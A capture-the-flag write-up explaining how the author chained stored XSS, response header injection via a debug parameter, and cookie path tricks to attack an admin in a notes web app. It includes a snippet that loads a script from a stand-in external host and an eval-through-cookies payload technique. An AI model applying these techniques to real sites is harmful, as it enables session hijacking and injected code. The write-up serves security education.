Description: Janet Snakehole, the rich aristocratic widow with a terrible secret, is being investigated by the FBI's number 1, Burt Tyrannosaurus Macklin. Burt found a website that she visits often. See if you can find anything.
At first glance, it is very clear that the site was vulnerable to XSS. For instance, adding the note <h1>Test</h1> results in the heading tags being injected:
When the page is first loaded, the init() function is called, and the displayed note's innerHTML is changed to the /get response.
Notes are added through a POST request to /add.
asyncfunctionaddNote() { x=document.getElementById("note-dev").value.trim()constresponse=awaitfetch("/add", { method:'POST', headers: {"Content-Type":"application/x-www-form-urlencoded", }, body:`content=${x}` }); z =await (response.text());changeNote(x)}functionchangeNote(play){let ele =document.getElementById('my-stuff');ele.innerHTML = play+"<br />";document.getElementById("note-dev").value =""}asyncfunctioninit(){constresponse=awaitfetch("/get", { method:'GET', }); z =await (response.text());changeNote(z)}
The /get endpoint retrieves notes from the Notes map, based on the user's ID cookie.
funcget(w http.ResponseWriter, r *http.Request) { id :=getIDFromCooke(r, w) x := Notes[id]headerSetter(w, cType)if x =="" { fmt.Fprintf(w, "404 No Note Found") } else { fmt.Fprintf(w, x) }}
The /add endpoint stores the user's notes, but only if the notes' content is less than 75 characters. In order to create a valid stored XSS payload, we must use a relatively short one.
funcadd(w http.ResponseWriter, r *http.Request) { id :=getIDFromCooke(r, w)if id != adminID { r.ParseForm() noteConte := r.Form.Get("content")iflen(noteConte) <75 { Notes[id] = noteConte } } fmt.Fprintf(w, "OK")}
Note that for all the API endpoints, the following cookies are set to prevent XSS.
Since the notes are fetched based on the user's cookies, we still do not have a way to perform an XSS attack on the admin (we would only be able to do it to ourselves!).
Response Header Injection
There is one other API endpoint, though, that we haven't explored. The /find endpoint takes the condition, startsWith , endsWith and debug parameters. The first three are pretty simple - they help to check if the note starts with or ends with a certain substring.
The debug parameter, on the other hand, is quite interesting. If it is set, the 4 parameters above are deleted, and the remaining parameters are looped through. If the key matches the ^[a-zA-Z0-9{}_;-]*$ regex, and the value is less than 50 characters, then the key-value pair is set as a response header.
funcfind(w http.ResponseWriter, r *http.Request) { id :=getIDFromCooke(r, w) param := r.URL.Query() x := Notes[id]var which string str, err := param["condition"]if!err { which ="any" } else { which = str[0] }var start bool str, err = param["startsWith"]if!err { start = strings.HasPrefix(x, "snake") } else { start = strings.HasPrefix(x, str[0]) }var responseee stringvar end bool str, err = param["endsWith"]if!err { end = strings.HasSuffix(x, "hole") } else { end = strings.HasSuffix(x, str[0]) }if which =="starts"&& start { responseee = x } elseif which =="ends"&& end { responseee = x } elseif which =="both"&& (start && end) { responseee = x } elseif which =="any"&& (start || end) { responseee = x } else { _, present := param["debug"]if present {delete(param, "debug")delete(param, "startsWith")delete(param, "endsWith")delete(param, "condition")for k, v :=range param {for _, d :=range v {if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) &&len(d) <50 { w.Header().Set(k, d) }break }break } } responseee ="404 No Note Found" }headerSetter(w, cType) fmt.Fprintf(w, responseee)}
Remember how we couldn't get the admin to visit our note previously? Well, now we can! All we have to do is to inject a Set-Cookie header, setting the admin's ID cookie to our own.
But we still need the original admin's ID (otherwise, how do we get the admin's note?). We can get around that quite easily, though - by simply setting the Path of our custom cookie to /get, we can make sure that when the admin visits our main site, our custom id cookie is used (since the longest match "wins"). However, since the admin's original id cookie still exists with the Path set to /, the /find endpoint will still use the original admin ID.
Crafting Our Payload
On hindsight, this was way more complex than necessary. The intended solution simply used eval(window.name), since window.name can be set by the attacker when using window.open(). I'll share mine anyway, because it was quite interesting (to me at least).
Since we’re in innerHTML, the ideal way is to append a new script element and fetch our external script:
var newScript = document.createElement("script");newScript.src = "http://www.example.com/my-script.js";this.appendChild(newScript);
But there’s a 75 character limit in order for the XSS payload to be stored.
I ended up using cookies, since document.cookies will return a string like:
cookieA=valueA; cookieB=valueB; ...
This format is very convenient to create JS code which we can eval(). Let the cookie name be var x, and the cookie value be eval(alert()), and we can run valid JavaScript code using eval(document.cookie):
var x =eval(alert())
Since the header values also have a length limit of 50 characters, we need to set multiple cookies. Essentially, the document.cookies will return the following string (newlines inserted for clarity):
varA="SOME_STRING";varB=A+"SOME_STRING";...var a =Z+"SOME_STRING";var b =eval(a)
Here's the script to convert the payload to the necessary URLs to set the cookies:
Visiting these URLs set the following cookies. Notice that we have set the id cookie with the /get path, and that the original id with the / path is preserved.
After document.cookie.split('; ').sort(), the previously inserted cookies will be in the correct order, starting from var A, and each subsequent variable builds on top of the previous variable.
var a will end up being the full payload:
This is finally eval-ed again (inside the eval) by var b.